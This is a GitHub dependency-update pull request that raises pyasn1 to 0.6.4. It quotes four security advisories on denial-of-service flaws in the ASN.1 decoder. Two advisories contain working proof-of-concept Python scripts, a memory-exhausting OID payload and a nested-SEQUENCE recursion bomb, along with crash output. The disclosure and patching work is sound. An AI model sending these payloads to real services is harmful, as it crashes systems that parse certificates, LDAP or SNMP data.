Skip to content

chore(deps): update dependency pyasn1 to v0.6.4 [security]#608

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-pyasn1-vulnerability
Open

chore(deps): update dependency pyasn1 to v0.6.4 [security]#608
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-pyasn1-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jan 16, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
pyasn1 (changelog) ==0.6.1==0.6.4 age adoption passing confidence

pyasn1 has a DoS vulnerability in decoder

CVE-2026-23490 / GHSA-63vm-454h-vhhq

More information

Details

Summary

After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

Details

The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

PoC

For the DoS:

import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource

##### Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print("[*] Memory limit set to 100MB")
except:
    print("[-] Could not set memory limit")

##### Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])

print(f"[*] Testing with {payload_size_mb}MB payload...")

payload_size = payload_size_mb * 1024 * 1024

##### Create payload with continuation octets
##### Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)

##### DER length encoding (supports up to 4GB)
if length < 128:
    length_bytes = bytes([length])
elif length < 256:
    length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
    length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
    length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b'\x84' + length.to_bytes(4, 'big')

##### Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload

print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")

try:
    print("[*] Decoding (this may take time or exhaust memory)...")
    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())

    print(f'[+] Decoded successfully')
    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')

    # Try to convert to string
    print('[*] Converting to string...')
    try:
        str_result = str(result[0])
        print(f'[+] String succeeded: {len(str_result)} chars')
        if len(str_result) > 10000:
            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
    except MemoryError:
        print(f'[-] MemoryError during string conversion!')
    except Exception as e:
        print(f'[-] {type(e).__name__} during string conversion')

except MemoryError:
    print('[-] MemoryError: Out of memory!')
except Exception as e:
    print(f'[-] Error: {type(e).__name__}: {e}')

print("\n[*] Test completed")

Screenshots with the results:

DoS
Screenshot_20251219_160840 Screenshot_20251219_152815
Leak analysis

A potential heap leak was investigated but came back clean:

[*] Creating 1000KB payload...
[*] Decoding with pyasn1...
[*] Materializing to string...
[+] Decoded 2157784 characters
[+] Binary representation: 896001 bytes
[+] Dumped to heap_dump.bin

[*] First 64 bytes (hex):
  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081

[*] First 64 bytes (ASCII/hex dump):
  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @&#8203;..... @&#8203;..
  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @&#8203;..... @&#8203;....
  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @&#8203;..... @&#8203;..... 
  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @&#8203;..... @&#8203;..... @&#8203;.

[*] Digit distribution analysis:
  '0':  10.1%
  '1':   9.9%
  '2':  10.0%
  '3':   9.9%
  '4':   9.9%
  '5':  10.0%
  '6':  10.0%
  '7':  10.0%
  '8':   9.9%
  '9':  10.1%
Scenario
  1. An attacker creates a malicious X.509 certificate.
  2. The application validates certificates.
  3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.
Impact

This issue can affect resource consumption and hang systems or stop services.
This may affect:

  • LDAP servers
  • TLS/SSL endpoints
  • OCSP responders
  • etc.
Recommendation

Add a limit to the allowed bytes in the decoder.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Denial of Service in pyasn1 via Unbounded Recursion

CVE-2026-30922 / GHSA-jr27-m4p2-rc6r

More information

Details

Summary

The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

Details

The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.
Vulnerable Code Locations:

  1. indefLenValueDecoder (Line 998):
    for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):
    This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

  2. valueDecoder (Lines 786 and 907):
    for component in decodeFun(substrate, componentType, **options):
    This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

  3. _decodeComponentsSchemaless (Line 661):
    for component in decodeFun(substrate, **options):
    This method handles decoding when no schema is provided.

In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

PoC
import sys
from pyasn1.codec.ber import decoder

sys.setrecursionlimit(100000)

print("[*] Generating Recursion Bomb Payload...")
depth = 50_000
chunk = b'\x30\x80' 
payload = chunk * depth

print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
print("[*] Triggering Decoder...")

try:
    decoder.decode(payload)
except RecursionError:
    print("[!] Crashed: Recursion Limit Hit")
except MemoryError:
    print("[!] Crashed: Out of Memory")
except Exception as e:
    print(f"[!] Crashed: {e}")
[*] Payload size: 9.77 KB
[*] Triggering Decoder...
[!] Crashed: Recursion Limit Hit
Impact
  • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
  • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
  • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.
Credits

Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


pyasn1: Uncontrolled resource consumption when converting decoded REAL values

CVE-2026-59886 / GHSA-hm4w-wwcw-mr6r

More information

Details

Impact

The univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.

Any operation that triggers float conversion on such a decoded value — prettyPrint(), str(), comparison, arithmetic, or an explicit float() call — consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.

Affected components
  • pyasn1.type.univ.Real — float conversion (float() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int())
  • Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values

The encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.

Patches

Fixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as .

Workarounds

Avoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


pyasn1: Quadratic complexity in OBJECT IDENTIFIER and RELATIVE-OID processing allows denial of service

CVE-2026-59885 / GHSA-8ppf-4f7h-5ppj

More information

Details

Impact

The BER/CER/DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload (tens of kilobytes) containing an OID with many arcs consumes seconds of CPU per decode() call, allowing denial of service in any application that decodes untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos, etc.). The corresponding encoders have the same quadratic behavior, reachable when an application re-encodes previously decoded attacker-supplied values.

The arc-size limit introduced for CVE-2026-23490 bounds the byte length of an individual arc but not the number of arcs, so it does not mitigate this issue.

Affected components

ObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py; ObjectIdentifierEncoder and RelativeOIDEncoder in pyasn1/codec/ber/encoder.py. The CER and DER codecs inherit these and are equally affected.

Patches

Fixed in pyasn1 0.6.4: arc accumulation in both decoders and encoders now runs in linear time.

Workarounds

Limit the size of untrusted ASN.1 input before decoding.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

pyasn1/pyasn1 (pyasn1)

v0.6.4

Compare Source

  • CVE-2026-59885 (GHSA-8ppf-4f7h-5ppj): Fixed quadratic time
    complexity in the OBJECT IDENTIFIER and RELATIVE-OID decoders.
    A small crafted substrate encoding many arcs could consume
    excessive CPU. Arcs are now accumulated in linear time; decoded
    values are unchanged (thanks for reporting, tynus2)
  • CVE-2026-59884 (GHSA-m4p7-r5rc-7g4j): Limited BER long-form tag
    IDs to 20 octets (140 bits), matching the OID arc limit introduced
    in 0.6.2. Unbounded tag IDs allowed a crafted substrate to consume
    excessive CPU and memory; longer tag IDs are now rejected with
    PyAsn1Error. Also fixed Tag and TagSet repr() failing on huge tag
    (thanks for reporting, mikeappsec)
    IDs due to the integer-to-string conversion limit (Python 3.11+)
  • CVE-2026-59886 (GHSA-hm4w-wwcw-mr6r): Fixed excessive memory and
    CPU consumption in Real.float() for values with large base-10
    exponents. Conversion no longer materializes huge intermediate
    integers; values too large to represent as a Python float raise
    OverflowError promptly, and prettyPrint() renders them as
    '' as before. Also fixed base-10 mantissa normalization
    to use exact integer arithmetic; mantissas larger than 2**53
    could previously lose precision through float division
    (thanks for reporting, gvozdila)
  • Pinned PyPI publish GitHub Action to an immutable commit
    pr #​113

v0.6.3

Compare Source

v0.6.2

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the renovate label Jan 16, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pyasn1-vulnerability branch from 3df5fae to 74fc923 Compare March 17, 2026 22:15
@renovate renovate Bot changed the title chore(deps): update dependency pyasn1 to v0.6.2 [security] chore(deps): update dependency pyasn1 to v0.6.3 [security] Mar 17, 2026
@renovate renovate Bot changed the title chore(deps): update dependency pyasn1 to v0.6.3 [security] chore(deps): update dependency pyasn1 to v0.6.3 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate
renovate Bot deleted the renovate/pypi-pyasn1-vulnerability branch March 27, 2026 02:53
@renovate renovate Bot changed the title chore(deps): update dependency pyasn1 to v0.6.3 [security] - autoclosed chore(deps): update dependency pyasn1 to v0.6.3 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pyasn1-vulnerability branch 2 times, most recently from 74fc923 to 751851c Compare March 30, 2026 18:52
@renovate renovate Bot changed the title chore(deps): update dependency pyasn1 to v0.6.3 [security] chore(deps): update dependency pyasn1 to v0.6.3 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title chore(deps): update dependency pyasn1 to v0.6.3 [security] - autoclosed chore(deps): update dependency pyasn1 to v0.6.3 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pyasn1-vulnerability branch 2 times, most recently from 751851c to 965ca1f Compare April 27, 2026 20:06
@renovate
renovate Bot force-pushed the renovate/pypi-pyasn1-vulnerability branch from 965ca1f to 21bf384 Compare May 5, 2026 13:41
@renovate
renovate Bot force-pushed the renovate/pypi-pyasn1-vulnerability branch from 21bf384 to 747fa9b Compare July 22, 2026 14:16
@renovate
renovate Bot force-pushed the renovate/pypi-pyasn1-vulnerability branch from 747fa9b to eeff9ae Compare July 24, 2026 13:03
@renovate renovate Bot changed the title chore(deps): update dependency pyasn1 to v0.6.3 [security] chore(deps): update dependency pyasn1 to v0.6.4 [security] Jul 24, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants